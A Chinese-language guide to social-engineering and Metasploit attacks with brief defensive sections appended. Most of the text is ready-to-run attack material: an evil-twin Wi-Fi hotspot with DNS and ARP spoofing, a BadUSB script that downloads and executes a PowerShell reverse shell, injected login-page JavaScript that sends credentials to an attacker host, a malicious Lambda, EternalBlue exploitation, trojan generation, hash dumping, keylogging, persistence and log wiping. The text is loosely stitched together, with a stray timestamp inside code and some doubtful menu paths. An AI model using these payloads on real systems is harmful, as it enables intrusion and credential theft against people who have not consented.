社会工程工具包(SET)攻击原理与防御实践(完整增强版)
社会工程工具包(SET)攻击原理与防御实践(完整增强版)
一、SET工具深度解析与环境高级配置
1.1 扩展功能模块详解
-
无线攻击模块:
-
支持创建伪造的802.11热点
-
集成Karma攻击实现自动关联
-
支持WPA2企业级钓鱼
-
-
硬件植入模块:
-
生成Teensy/Digispark攻击脚本
-
支持Rubber Ducky语法转换
-
提供HID攻击向量库
-
-
云服务攻击模块:
-
AWS/Azure/GCP控制台克隆
-
SaaS应用(如Office365)钓鱼模板
-
云API密钥钓鱼技术
-
1.2 高级环境配置步骤
完整环境搭建流程:
# 1. 安装依赖组件
apt-get install -y hostapd dnsmasq ettercap-text-only sslstrip mitmproxy
# 2. 配置虚拟网络接口
iw phy phy0 interface add mon0 type monitor
ifconfig mon0 up
# 3. 设置IP转发
echo 1 > /proc/sys/net/ipv4/ip_forward
# 4. 配置防火墙规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443
# 5. 启动Metasploit容器
docker run -d --name msf -p 4444-4450:4444-4450 -v ~/.msf4:/root/.msf4 metasploitframework/metasploit-framework
二、高级攻击场景完整操作手册
2.1 无线钓鱼热点攻击(详细步骤)
阶段1:环境准备
# 1. 启用监控模式
airmon-ng check kill
airmon-ng start wlan0
# 2. 创建虚拟AP
airbase-ng -e "Starbucks_Free_WiFi" -c 6 mon0
# 3. 配置桥接网络
brctl addbr evil-bridge
brctl addif evil-bridge at0
brctl addif evil-bridge eth0
ifconfig at0 0.0.0.0 up
ifconfig evil-bridge 192.168.1.1 netmask 255.255.255.0
阶段2:DNS欺骗配置
# 1. 编辑dnsmasq配置文件
cat > /etc/dnsmasq.conf <<EOF
interface=at0
dhcp-range=192.168.1.100,192.168.1.200,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
address=/facebook.com/192.168.1.7
address=/#/192.168.1.7
EOF
# 2. 启动DHCP服务
dnsmasq -C /etc/dnsmasq.conf
阶段3:SET集成攻击
set
# 选择菜单路径:
# 1) Social Engineering Attacks → 5) Wireless Access Point Attack → 2) Credential Harvester
# 配置参数:
# 选择3) Site Cloner
# 输入目标URL: https://www.facebook.com
# 设置监听IP: 192.168.1.7
# 启用SSLStrip: Y
阶段4:流量劫持
# 1. 启动SSLStrip
sslstrip -l 8080 -w /root/sslstrip.log
# 2. ARP欺骗
ettercap -T -q -i at0 -M arp // //
# 3. 监控捕获的凭证
tail -f /var/www/html/creds.txt
2.2 硬件级攻击(BadUSB完整实现)
步骤1:生成攻击脚本
set
# 选择路径:
# 4) Create a Payload → 7) Teensy Arduino Attack → 2) Custom Ducky Script
# 输入脚本内容:
DELAY 5000
GUI r
DELAY 500
STRING powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.7/rev.ps1')"
ENTER
步骤2:转换并烧录
# 1. 转换Ducky脚本
python3 /usr/share/set/tools/duck2spark/duck2spark.py -i payload.txt -o payload.ino -l us
# 2. 安装Arduino IDE
wget https://downloads.arduino.cc/arduino-1.8.19-linux64.tar.xz
tar xvf arduino-1.8.19-linux64.tar.xz
cd arduino-1.8.19
./install.sh
# 3. 烧录到Digispark
arduino --upload payload.ino --port /dev/ttyACM0
步骤3:Payload服务器配置
# 1. 创建PowerShell反向Shell脚本
cat > /var/www/html/rev.ps1 <<'EOF'
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.7",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
EOF
# 2. 启动Metasploit监听
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.7; set LPORT 4444; exploit"
2.3 云服务API钓鱼(AWS实战)
阶段1:环境克隆
set
# 选择路径:
# 1) Social Engineering Attacks → 9) Cloud-based Attack → 2) AWS Console
# 配置参数:
# 选择克隆区域:us-east-1
# 启用MFA模拟:Y
# 设置回调URL:https://api.attacker.com/log
阶段2:恶意Lambda部署
import boto3
from botocore.config import Config
# 配置AWS客户端
config = Config(
region_name = 'us-east-1',
signature_version = 'v4',
retries = {
'max_attempts': 10,
'mode': 'standard'
}
)
# 创建IAM角色
iam = boto3.client('iam', config=config)
assume_role_policy_document = {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "lambda.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
}
response = iam.create_role(
RoleName='malicious-lambda-role',
AssumeRolePolicyDocument=json.dumps(assume_role_policy_document)
)
# 部署恶意Lambda
lambda_client = boto3.client('lambda', config=config)
with open('malicious.zip', 'rb') as f:
zipped_code = f.read()
response = lambda_client.create_function(
FunctionName='legit-update',
Runtime='python3.9',
Role=response['Role']['Arn'],
Handler='lambda_function.lambda_handler',
Code=dict(ZipFile=zipped_code),
Timeout=300,
Environment={
'Variables': {
'ATTACKER_URL': 'http://192.168.1.7/exfil'
}
}
)
阶段3:钓鱼页面注入
// 伪造的AWS登录页面额外注入的JS代码
document.getElementById("signInForm").addEventListener("submit", function(e) {
e.preventDefault();
2025-07-22 13:06:33 星期二
// 收集凭证
const creds = {
username: document.getElementById("username").value,
password: document.getElementById("password").value,
mfa: document.getElementById("mfa")?.value
};
// 发送到攻击者服务器
fetch("https://api.attacker.com/log", {
method: "POST",
body: JSON.stringify(creds),
headers: {
"Content-Type": "application/json"
}
});
// 原始表单提交(避免引起怀疑)
setTimeout(() => {
e.target.submit();
}, 1500);
});
三、增强型防御体系实施指南
3.1 无线攻击防御方案
企业级WIPS部署流程:
# 1. 安装Rogue AP检测工具
apt-get install kismet
# 2. 配置检测规则
cat > /etc/kismet/kismet.conf <<EOF
suiduser=root
source=wlan0:type=linuxwifi
detectrogue=true
alertrogue=true
EOF
# 3. 启动监控
kismet -c wlan0
# 4. 自动化响应脚本
while true; do
ROGUE_AP=$(grep "Detected possible rogue AP" /var/log/kismet.log | tail -1)
if [ -n "$ROGUE_AP" ]; then
BSSID=$(echo $ROGUE_AP | awk '{print $8}')
aireplay-ng -0 10 -a $BSSID mon0
logger "Blocked rogue AP with BSSID $BSSID"
fi
sleep 30
done
3.2 硬件攻击防护方案
USB设备控制策略:
# Windows设备控制策略
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\USBSTOR" -Name "Start" -Value 4 -PropertyType DWORD -Force
# Linux udev规则
cat > /etc/udev/rules.d/99-usb-restrict.rules <<EOF
# 阻止所有HID设备
SUBSYSTEM=="usb", ATTRS{idVendor}=="*", ATTRS{idProduct}=="*", ENV{ID_USB_INTERFACES}=="*:0301*", MODE="000"
# 只允许特定厂商设备
SUBSYSTEM=="usb", ATTRS{idVendor}=="1234", ATTRS{idProduct}=="5678", MODE="0666"
EOF
# 应用规则
udevadm control --reload-rules && udevadm trigger
3.3 云服务防护方案
AWS安全基线配置:
# IAM策略限制
resource "aws_iam_policy" "restrictive_policy" {
name = "DenyHighRiskActions"
policy = jsonencode({
Version = "2012-10-17"
Statement = [
{
Effect = "Deny"
Action = [
"lambda:CreateFunction",
"iam:CreateAccessKey",
"cloudformation:CreateStack"
]
Resource = "*"
}
]
})
}
# GuardDuty启用
resource "aws_guardduty_detector" "main" {
enable = true
}
# CloudTrail日志加密
resource "aws_cloudtrail" "secure_trail" {
name = "security-trail"
s3_bucket_name = aws_s3_bucket.log_bucket.id
include_global_service_events = true
is_multi_region_trail = true
kms_key_id = aws_kms_key.trail_key.arn
event_selector {
read_write_type = "All"
include_management_events = true
data_resource {
type = "AWS::Lambda::Function"
values = ["*"]
}
}
}
四、法律合规实施框架
4.1 渗透测试授权文档模板
# 渗透测试授权书
**测试方信息**
- 公司名称:________________
- 测试负责人:________________
- 联系方式:________________
**授权范围**
- 目标系统:________________
- 测试时间:____年__月__日至____年__月__日
- 允许技术:
[ ] 社会工程测试
[ ] 网络渗透测试
[ ] 物理安全测试
[ ] 无线安全测试
**法律条款**
1. 测试方需遵守《网络安全法》第26条规定
2. 禁止数据泄露和系统破坏
3. 每日测试报告提交要求
**签署**
被测试方代表:__________ 日期:__________
测试方代表:__________ 日期:__________
4.2 日志留存策略
# 自动化日志归档脚本
#!/bin/bash
LOG_DIR="/var/log/security"
ARCHIVE_DIR="/archive/security_logs"
RETENTION_DAYS=180
# 加密归档
tar -czf - $LOG_DIR | openssl enc -aes-256-cbc -salt -out $ARCHIVE_DIR/logs_$(date +%Y%m%d).tar.gz.enc -pass pass:${ENCRYPT_KEY}
# 清理旧日志
find $ARCHIVE_DIR -type f -name "*.enc" -mtime +$RETENTION_DAYS -exec rm {} \;
# 上传到安全存储
rclone copy $ARCHIVE_DIR remote:security_logs --log-file=/var/log/rclone.log
五、前沿攻防技术实施
5.1 量子安全通信部署
# 编译安装量子安全算法库
git clone https://github.com/open-quantum-safe/liboqs
cd liboqs
mkdir build && cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr/local ..
make && make install
# Nginx集成OQS
git clone https://github.com/open-quantum-safe/nginx-oqs
cd nginx-oqs
./configure --with-http_ssl_module --with-openssl=/path/to/oqs-openssl
make && make install
# 配置量子安全密码套件
cat > /usr/local/nginx/conf/nginx.conf <<EOF
server {
listen 443 ssl;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
ssl_protocols TLSv1.3;
ssl_ciphers Kyber512:Dilithium2;
}
EOF
5.2 生物特征防御实施
# 键盘动力学分析示例
from sklearn.ensemble import IsolationForest
import numpy as np
# 收集正常用户行为数据
normal_data = np.loadtxt('user_behavior.csv', delimiter=',')
# 训练异常检测模型
clf = IsolationForest(contamination=0.01)
clf.fit(normal_data)
# 实时检测函数
def detect_anomaly(current_behavior):
prediction = clf.predict([current_behavior])
if prediction[0] == -1:
block_user()
alert_security()
六、完整攻击防御演练方案
6.1 红队演练流程
graph TD
A[情报收集] --> B[攻击面测绘]
B --> C[初始入侵]
C --> D[横向移动]
D --> E[权限提升]
E --> F[数据获取]
F --> G[痕迹清理]
6.2 蓝队响应流程
graph LR
A[检测警报] --> B[事件分类]
B --> C[遏制措施]
C --> D[根除威胁]
D --> E[系统恢复]
E --> F[经验总结]
6.3 紫队协调流程
def purple_team_workflow():
while True:
red_action = red_team.execute()
blue_response = blue_team.monitor(red_action)
if blue_response.effective:
red_team.adapt(blue_response)
else:
blue_team.improve(red_action)
document_lessons(red_action, blue_response)
以下是Metasploit Framework(MSF)攻击的全流程及核心指令详解,结合多个实战场景和模块功能:
一、MSF攻击全流程
-
信息收集与漏洞发现
- 辅助模块扫描:使用
auxiliary模块进行端口扫描、版本探测等,识别目标漏洞。use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 run - 公开漏洞查询:通过
searchsploit或MSF内置搜索查找已知漏洞[1][4]。
- 辅助模块扫描:使用
-
漏洞利用与攻击
- 选择Exploit模块:根据漏洞类型加载对应模块。
use exploit/windows/smb/ms17_010_eternalblue - 配置参数:设置目标IP、载荷、本地监听地址等。
set RHOST 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.7 - 执行攻击:运行
exploit或run触发漏洞利用。
- 选择Exploit模块:根据漏洞类型加载对应模块。
-
后渗透控制
- 会话管理:查看和管理Meterpreter会话。
sessions -l # 列出所有会话 sessions -i 1 # 进入指定会话 - 权限提升:使用
getsystem或本地提权模块。getsystem # 尝试提权至SYSTEM - 持久化控制:
- 启用远程桌面:
run post/windows/manage/enable_rdp - 创建持久后门:
run persistence -X -i 5 -p 8888 -r 192.168.1.11
- 启用远程桌面:
- 会话管理:查看和管理Meterpreter会话。
-
数据收集与清理
- 抓取密码哈希:
run post/windows/gather/hashdump - 清除日志:
clearev # 清理Windows日志 timestomp C:\file.txt -z # 伪造文件时间戳
- 抓取密码哈希:
二、核心指令与模块用法
-
基础命令
- 启动MSF控制台:
msfconsole - 搜索模块:
search <keyword>(如search ms17-010) - 查看模块信息:
show options/info - 设置参数:
set <option> <value>(如set LPORT 4444)
- 启动MSF控制台:
-
木马生成与监听
- 生成Windows木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.7 LPORT=4444 -f exe -o shell.exe - 监听反弹Shell:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.7 set LPORT 4444 exploit
- 生成Windows木马:
-
后渗透模块指令
- 进程迁移:
run post/windows/manage/migrate PID=1234 - 键盘记录:
keyscan_start # 开始记录 keyscan_dump # 查看记录 - 屏幕截图:
screenshot
- 进程迁移:
-
数据库与辅助功能
- 连接数据库:
db_connect postgres:password@127.0.0.1/test - 端口扫描:
use auxiliary/scanner/portscan/tcp set RHOSTS 192.168.1.0/24 run
- 连接数据库:
三、实战案例:MS17-010攻击
-
攻击步骤:
- 加载模块:
use exploit/windows/smb/ms17_010_eternalblue - 配置参数:
set RHOST 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.7 - 执行攻击:
exploit - 成功后获取Meterpreter会话,执行后渗透操作。
- 加载模块:
-
提权与数据收集:
- 提权:
getsystem - 抓取哈希:
run post/windows/gather/hashdump
- 提权:
四、注意事项
- 合法性:仅在授权环境(如个人测试靶场)使用MSF,避免违法操作。
- 免杀与编码:使用
msfvenom的-e参数对Payload编码,绕过杀毒软件检测。 - 痕迹清理:删除日志文件(
clearev)和伪造时间戳(timestomp)。
通过以上流程和指令,MSF可完成从漏洞利用到后渗透控制的完整攻击链。如需更详细的模块参数或进阶操作,可参考MSF官方文档或使用show options查看模块配置项[1][4][7]。
以下是SET(Social Engineering Toolkit)攻击的全流程及核心指令,结合多个实战场景和工具模块功能进行详细说明:
一、SET攻击全流程
1. 启动与初始化
- 启动SET工具:
进入SET主界面后,选择菜单项setoolkit1) Social-Engineering Attacks(社会工程学攻击)。
2. 选择攻击向量
- 攻击模式选择:
- 网站攻击向量(Website Attack Vectors):
选择菜单项2) Website Attack Vectors,用于克隆钓鱼网站或生成恶意链接。 - 钓鱼邮件攻击(Spearphishing Email):
选择菜单项1) Spearphishsing Email,用于构造带恶意附件的邮件攻击。 - 二维码攻击(QRCode Generator Attack):
选择菜单项8) QRCode Generator Attack Vector,生成伪装二维码。
- 网站攻击向量(Website Attack Vectors):
3. 配置攻击参数
- 设置监听IP和端口:
例如:set IP_ADDRESS [目标IP] set PORT [监听端口]set IP_ADDRESS 192.168.1.7 set PORT 443 - 选择攻击模板:
- 钓鱼网站:选择
1) Web Templates,克隆Google、Facebook等登录页面。 - 恶意文件:选择
8) Adobe PDF Embedded EXE,生成带漏洞的PDF文件。
- 钓鱼网站:选择
4. 生成攻击载荷
- 生成钓鱼网站:
生成的钓鱼页面保存在# 选择克隆模板(如Google) set WEB_TEMPLATE 2/root/.set/reports/目录下。 - 生成恶意附件:
文件保存在# 使用PDF漏洞生成恶意文件 set FILEFORMAT 8/root/.set/template.pdf。
5. 发送攻击
- 邮件攻击:
- 选择
1) E-Mail Attack Single Email Address,输入目标邮箱地址[7]。 - 配置Gmail发件(需提前配置SMTP):
set GMAIL_ACCOUNT [邮箱账号] set FROM_NAME [显示名称] - 发送邮件后,SET自动启动Metasploit监听反弹连接。
- 选择
- 二维码攻击:
- 生成二维码图片后,诱导目标扫描并访问钓鱼网站。
6. 获取凭证与后渗透
- 查看收集的凭证:
sessions -l sessions -i [会话ID] - 提权与控制:
getsystem # 尝试提权至SYSTEM权限 screenshot # 截取目标桌面 clearev # 清除目标日志 - 创建持久后门:
run persistence -X -i 5 -p 8888 -r 192.168.1.11
二、核心指令与模块用法
| 步骤 | 指令与操作 |
|---|---|
| 启动SET | setoolkit → 选择 1) Social-Engineering Attacks |
| 网站攻击向量 | 2) Website Attack Vectors → 3) Credential Harvester Attack Method |
| 克隆钓鱼网站 | 选择模板(如Google),设置监听IP |
| 生成恶意PDF | 8) Adobe PDF Embedded EXE → 配置反弹地址 |
| 邮件攻击 | 1) Spearphishsing Email → 输入目标邮箱 → 配置Gmail发件 |
| 监听与控制 | sessions -i [ID] → getsystem → screenshot |
| 清除日志 | clearev |
三、实战案例:钓鱼网站攻击
- 步骤:
- 启动SET → 选择网站攻击 → 克隆Google登录页 → 设置监听IP(如192.168.1.7)→ 生成钓鱼页面。
- 诱导目标访问钓鱼URL,输入账号密码后,SET成功捕获凭证。
- 指令示例:
setoolkit 1 2 3 1
四、注意事项
- 依赖服务:
- 邮件攻击需配置SMTP(如Gmail或Sendmail)。
- 避免端口冲突(如关闭Apache服务:
systemctl stop apache2)。
- 免杀与编码:
- 使用SET生成的Payload需结合Metasploit编码绕过杀毒。
- 合法性:
- 仅用于授权测试环境,避免违法操作。
通过以上流程和指令,SET可完成从钓鱼攻击到后渗透控制的完整攻击链。如需更复杂的攻击(如自定义模块开发),可参考SET的插件和脚本扩展功能。
结语:构建动态防御体系
持续安全改进模型:
- 每周:漏洞扫描+补丁管理
- 每月:红蓝对抗演练
- 每季度:安全架构评审
- 每年:全员安全能力评估
终极防御原则:
- 假设已经被入侵(Zero Trust)
- 所有访问必须验证
- 所有操作必须审计
- 所有异常必须调查
通过本指南提供的完整技术方案和操作步骤,可以组织建立从技术防护到人员意识的全方位防御体系,有效应对不断演进的社会工程攻击威胁。
浙公网安备 33010602011771号